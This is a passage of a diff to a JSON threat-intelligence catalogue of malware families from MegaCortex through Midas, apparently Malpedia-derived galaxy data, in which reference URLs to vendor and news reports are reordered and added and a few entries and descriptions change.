"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", "https://www.computing.co.uk/ctg/news/3084818/warning-over-lockergoga-and-megacortex-ransomware-attacks-targeting-private-industry-in-western-countries", - "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", - "https://news.sophos.com/en-us/2019/05/03/megacortex-ransomware-wants-to-be-the-one/", - "https://blog.malwarebytes.com/detections/ransom-megacortex/", - "https://www.bleepingcomputer.com/news/security/fbi-issues-alert-for-lockergoga-and-megacortex-ransomware/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.bleepingcomputer.com/news/security/new-megacortex-ransomware-changes-windows-passwords-threatens-to-publish-data/", + "https://news.sophos.com/en-us/2019/05/10/megacortex-deconstructed-mysteries-mount-as-analysis-continues/", + "https://news.sophos.com/en-us/2019/05/03/megacortex-ransomware-wants-to-be-the-one/", "https://threatpost.com/megacortex-ransomware-mass-distribution/146933/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", - "https://www.bleepingcomputer.com/news/security/new-megacortex-ransomware-changes-windows-passwords-threatens-to-publish-data/", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.trendmicro.com/vinfo/pl/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks", "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.trendmicro.com/vinfo/pl/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks" + "https://www.bleepingcomputer.com/news/security/elusive-megacortex-ransomware-found-here-is-what-we-know/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://blog.malwarebytes.com/detections/ransom-megacortex/", + "https://www.bleepingcomputer.com/news/security/bitdefender-releases-free-megacortex-ransomware-decryptor/", + "https://www.bleepingcomputer.com/news/security/fbi-issues-alert-for-lockergoga-and-megacortex-ransomware/" ], "synonyms": [], "type": [] @@ -31471,6 +33187,20 @@ "uuid": "3f09884e-dddc-4513-8720-a28fe21ab9a8", "value": "MegaCortex" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.megacreep", + "https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/", + "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "394ddd91-b673-4607-b253-fe19b98008b5", + "value": "MegaCreep" + }, { "description": "Megumin Trojan, is a malware focused on multiple fields (DDoS, Miner, Loader, Clipper).", "meta": { @@ -31490,15 +33220,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mekotio", - "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", - "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", - "https://www.welivesecurity.com/2020/08/13/mekotio-these-arent-the-security-updates-youre-looking-for/", - "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/rooty-dolphin-uses-mekotio-to-target-bank-clients-in-south-america-and-europe/", - "https://research.checkpoint.com/2021/mekotio-banker-returns-with-improved-stealth-and-ancient-encryption/", - "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/", "https://twitter.com/hpsecurity/status/1509185858146082816", - "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/" + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", + "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", + "https://research.checkpoint.com/2021/mekotio-banker-returns-with-improved-stealth-and-ancient-encryption/", + "https://www.welivesecurity.com/2020/08/13/mekotio-these-arent-the-security-updates-youre-looking-for/", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/rooty-dolphin-uses-mekotio-to-target-bank-clients-in-south-america-and-europe/", + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", + "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/" ], "synonyms": [], "type": [] @@ -31537,8 +33267,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mercurialgrabber", - "https://github.com/NightfallGT/Mercurial-Grabber", - "https://twitter.com/Arkbird_SOLG/status/1432127748001128459" + "https://twitter.com/Arkbird_SOLG/status/1432127748001128459", + "https://github.com/NightfallGT/Mercurial-Grabber" ], "synonyms": [], "type": [] @@ -31551,9 +33281,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.merlin", - "http://lockboxx.blogspot.com/2018/02/merlin-for-red-teams.html", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "http://lockboxx.blogspot.com/2018/02/intro-to-using-gscript-for-red-teams.html", "https://github.com/Ne0nd0g/merlin", - "http://lockboxx.blogspot.com/2018/02/intro-to-using-gscript-for-red-teams.html" + "http://lockboxx.blogspot.com/2018/02/merlin-for-red-teams.html" ], "synonyms": [], "type": [] @@ -31566,37 +33297,37 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mespinoza", - "https://www.bleepingcomputer.com/news/security/ransomware-gangs-script-shows-exactly-the-files-theyre-after/", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://www.prodaft.com/resource/detail/pysa-ransomware-group-depth-analysis", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://securelist.com/modern-ransomware-groups-ttps/106824/", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://www.prodaft.com/m/reports/PYSA_TLPWHITE_3.0.pdf", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/", - "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", - "https://www.cert.ssi.gouv.fr/cti/CERTFR-2020-CTI-002/", - "https://blog.cyble.com/2021/11/29/pysa-ransomware-under-the-lens-a-deep-dive-analysis/", - "https://www.hhs.gov/sites/default/files/mespinoza-goldburlap-cyborgspider-analystnote-tlpwhite.pdf", - "https://dissectingmalwa.re/another-one-for-the-collection-mespinoza-pysa-ransomware.html", + "https://www.prodaft.com/m/reports/PYSA_TLPWHITE_3.0.pdf", "http://www.secureworks.com/research/threat-profiles/gold-burlap", - "https://www.ic3.gov/Media/News/2021/210316.pdf", - "https://twitter.com/campuscodi/status/1347223969984897026", - "https://twitter.com/inversecos/status/1456486725664993287", - "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://id-ransomware.blogspot.com/2019/10/mespinoza-ransomware.html", - "https://www.cybereason.com/blog/threat-analysis-report-inside-the-destructive-pysa-ransomware", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://twitter.com/inversecos/status/1456486725664993287", + "https://www.ic3.gov/Media/News/2021/210316.pdf", + "https://dissectingmalwa.re/another-one-for-the-collection-mespinoza-pysa-ransomware.html", "https://www.lacework.com/blog/pysa-ransomware-gang-adds-linux-support/", - "https://www.zdnet.com/article/france-warns-of-new-ransomware-gang-targeting-local-governments/" + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://twitter.com/campuscodi/status/1347223969984897026", + "https://blog.cyble.com/2021/11/29/pysa-ransomware-under-the-lens-a-deep-dive-analysis/", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", + "https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat", + "https://www.bleepingcomputer.com/news/security/ransomware-gangs-script-shows-exactly-the-files-theyre-after/", + "https://www.cybereason.com/blog/threat-analysis-report-inside-the-destructive-pysa-ransomware", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://www.prodaft.com/resource/detail/pysa-ransomware-group-depth-analysis", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://id-ransomware.blogspot.com/2019/10/mespinoza-ransomware.html", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2020-CTI-002/", + "https://www.zdnet.com/article/france-warns-of-new-ransomware-gang-targeting-local-governments/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.hhs.gov/sites/default/files/mespinoza-goldburlap-cyborgspider-analystnote-tlpwhite.pdf", + "https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/" ], "synonyms": [ "pysa" @@ -31626,15 +33357,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.metaljack", - "https://www.youtube.com/watch?v=ftjDH65kw6E", - "https://s.tencent.com/research/report/944.html", - "https://m.threatbook.cn/detail/2527", - "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf", - "https://www.secrss.com/articles/17900", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html", "https://ti.qianxin.com/blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/", - "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html" + "https://www.secrss.com/articles/17900", + "https://www.youtube.com/watch?v=ftjDH65kw6E", + "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/", + "https://m.threatbook.cn/detail/2527", + "https://s.tencent.com/research/report/944.html" ], "synonyms": [ "denesRAT" @@ -31649,17 +33380,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.metamorfo", - "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "https://blog.talosintelligence.com/2018/11/metamorfo-brazilian-campaigns.html", - "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", - "https://cofense.com/blog/autohotkey-banking-trojan/", - "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", - "https://blog.ensilo.com/metamorfo-avast-abuser", "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", - "https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md", + "https://twitter.com/MsftSecIntel/status/1418706916922986504", "https://www.bitdefender.com/files/News/CaseStudies/study/333/Bitdefender-PR-Whitepaper-Metamorfo-creat4500-en-EN-GenericUse.pdf", - "https://twitter.com/MsftSecIntel/status/1418706916922986504" + "https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md", + "https://blog.ensilo.com/metamorfo-avast-abuser", + "https://cofense.com/blog/autohotkey-banking-trojan/", + "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", + "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html" ], "synonyms": [ "Casbaneiro" @@ -31670,13 +33401,16 @@ "value": "Metamorfo" }, { - "description": "", + "description": "On March 7, 2022, KELA observed a threat actor named _META_ announcing the launch of META – a new information-stealing malware, available for sale for USD125 per month or USD1000 for unlimited use. The actor claimed it has the same functionality, code, and panel as the Redline stealer, but with several improvements.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer", + "https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/", + "https://www.accenture.com/us-en/blogs/security/information-stealer-malware-on-dark-web", "https://ke-la.com/information-stealers-a-new-landscape/", "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", - "https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/" + "https://research.nccgroup.com/2022/05/20/metastealer-filling-the-racoon-void/", + "https://medium.com/walmartglobaltech/metastealer-string-decryption-and-dga-overview-5f38f76830cd" ], "synonyms": [], "type": [] @@ -31689,11 +33423,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.meteor", - "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", - "https://threatpost.com/novel-meteor-wiper-used-in-attack-that-crippled-iranian-train-system/168262/", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll/", "https://twitter.com/_cpresearch_/status/1541753913732366338", - "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll/" + "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://threatpost.com/novel-meteor-wiper-used-in-attack-that-crippled-iranian-train-system/168262/" ], "synonyms": [], "type": [] @@ -31706,36 +33441,43 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.meterpreter", - "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", - "https://explore.group-ib.com/htct/hi-tech_crime_2018", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", - "https://redcanary.com/blog/getsystem-offsec/", - "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea", - "https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence", - "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", - "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", - "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md", - "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", - "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", - "http://www.secureworks.com/research/threat-profiles/gold-winter", - "https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/", - "https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/", - "https://blog.morphisec.com/fin7-attacks-restaurant-industry", "https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/", - "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", - "https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/", - "https://blog.lumen.com/no-longer-just-theory-black-lotus-labs-uncovers-linux-executables-deployed-as-stealth-windows-loaders/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a", + "https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea", "http://schierlm.users.sourceforge.net/avevasion.html", - "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", - "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", - "https://www.countercraftsec.com/blog/post/shellcode-detection-using-realtime-kernel-monitoring/", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "http://www.secureworks.com/research/threat-profiles/gold-franklin", + "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", "https://asec.ahnlab.com/ko/26705/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a" + "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", + "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", + "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", + "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", + "http://www.secureworks.com/research/threat-profiles/gold-franklin", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/", + "https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://blog.morphisec.com/fin7-attacks-restaurant-industry", + "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", + "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "http://www.secureworks.com/research/threat-profiles/gold-winter", + "https://www.countercraftsec.com/blog/post/shellcode-detection-using-realtime-kernel-monitoring/", + "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md", + "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/", + "https://redcanary.com/blog/getsystem-offsec/", + "https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/", + "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", + "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", + "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", + "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux", + "https://blog.lumen.com/no-longer-just-theory-black-lotus-labs-uncovers-linux-executables-deployed-as-stealth-windows-loaders/", + "https://explore.group-ib.com/htct/hi-tech_crime_2018", + "https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/", + "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/" ], "synonyms": [], "type": [] @@ -31748,10 +33490,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mevade", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/sefnit-trojan-just/", - "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "https://www.youtube.com/watch?v=FttiysUZmDw", "https://blog.fox-it.com/2013/09/05/large-botnet-cause-of-recent-tor-network-overload/", - "https://www.youtube.com/watch?v=FttiysUZmDw" + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/sefnit-trojan-just/" ], "synonyms": [ "SBC", @@ -31779,10 +33521,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mgbot", + "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/", + "https://twitter.com/GossiTheDog/status/1438500100238577670", + "https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/", "https://vb2020.vblocalhost.com/uploads/VB2020-43.pdf", "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware", - "https://twitter.com/GossiTheDog/status/1438500100238577670", - "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/", "https://www.youtube.com/watch?v=LeKi0KfzOow&list=PLffioUnqXWkdzWcZXH-bzPVgcs2R4r7iS&index=1&t=2154s" ], "synonyms": [ @@ -31824,15 +33567,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.microbackdoor", - "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/", - "https://github.com/cr4sh/microbackdoor", - "https://cert.gov.ua/article/37626", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://ti.qianxin.com/blog/articles/Analysis-of-attack-activities-of-suspected-aptorganization-unc1151-against-ukraine-and-other-countries/", - "https://attackiq.com/2022/04/29/attack-graph-response-to-unc1151-continued-targeting-of-ukraine/", "https://www.mandiant.com/resources/spear-phish-ukrainian-entities", - "https://cluster25.io/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine/" + "https://github.com/cr4sh/microbackdoor", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://attackiq.com/2022/04/29/attack-graph-response-to-unc1151-continued-targeting-of-ukraine/", + "https://cluster25.io/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine/", + "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/", + "https://cert.gov.ua/article/37626", + "https://ti.qianxin.com/blog/articles/Analysis-of-attack-activities-of-suspected-aptorganization-unc1151-against-ukraine-and-other-countries/" ], "synonyms": [], "type": [] @@ -31846,32 +33589,23 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.microcin", "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf", - "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/", - "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/", - "https://github.com/dlegezo/common", - "https://securelist.com/microcin-is-here/97353/", + "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636", "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", - "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia", - "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://securelist.com/microcin-is-here/97353/", "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf", + "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia", + "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/", "https://securelist.com/microcin-is-here/97353", - "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636" + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", + "https://github.com/dlegezo/common" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "7d17dabf-a68e-4eda-a18f-26868ced8e73", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "185d8b28-0179-4ec6-a3c8-201b1936b9aa", "value": "Microcin" }, @@ -31880,12 +33614,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.micropsia", + "http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/", "https://blog.talosintelligence.com/2022/02/arid-viper-targets-palestine.html", - "https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf", - "http://blog.talosintelligence.com/2017/06/palestine-delphi.html", "https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/micropsia_apt_c_23.md", + "http://blog.talosintelligence.com/2017/06/palestine-delphi.html", "https://research.checkpoint.com/apt-attack-middle-east-big-bang/", - "http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/mantis-palestinian-attacks", + "https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf" ], "synonyms": [], "type": [] @@ -31899,8 +33634,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.midas", "https://www.zscaler.com/blogs/security-research/midas-ransomware-tracing-evolution-thanos-ransomware-variants", - "https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/", - 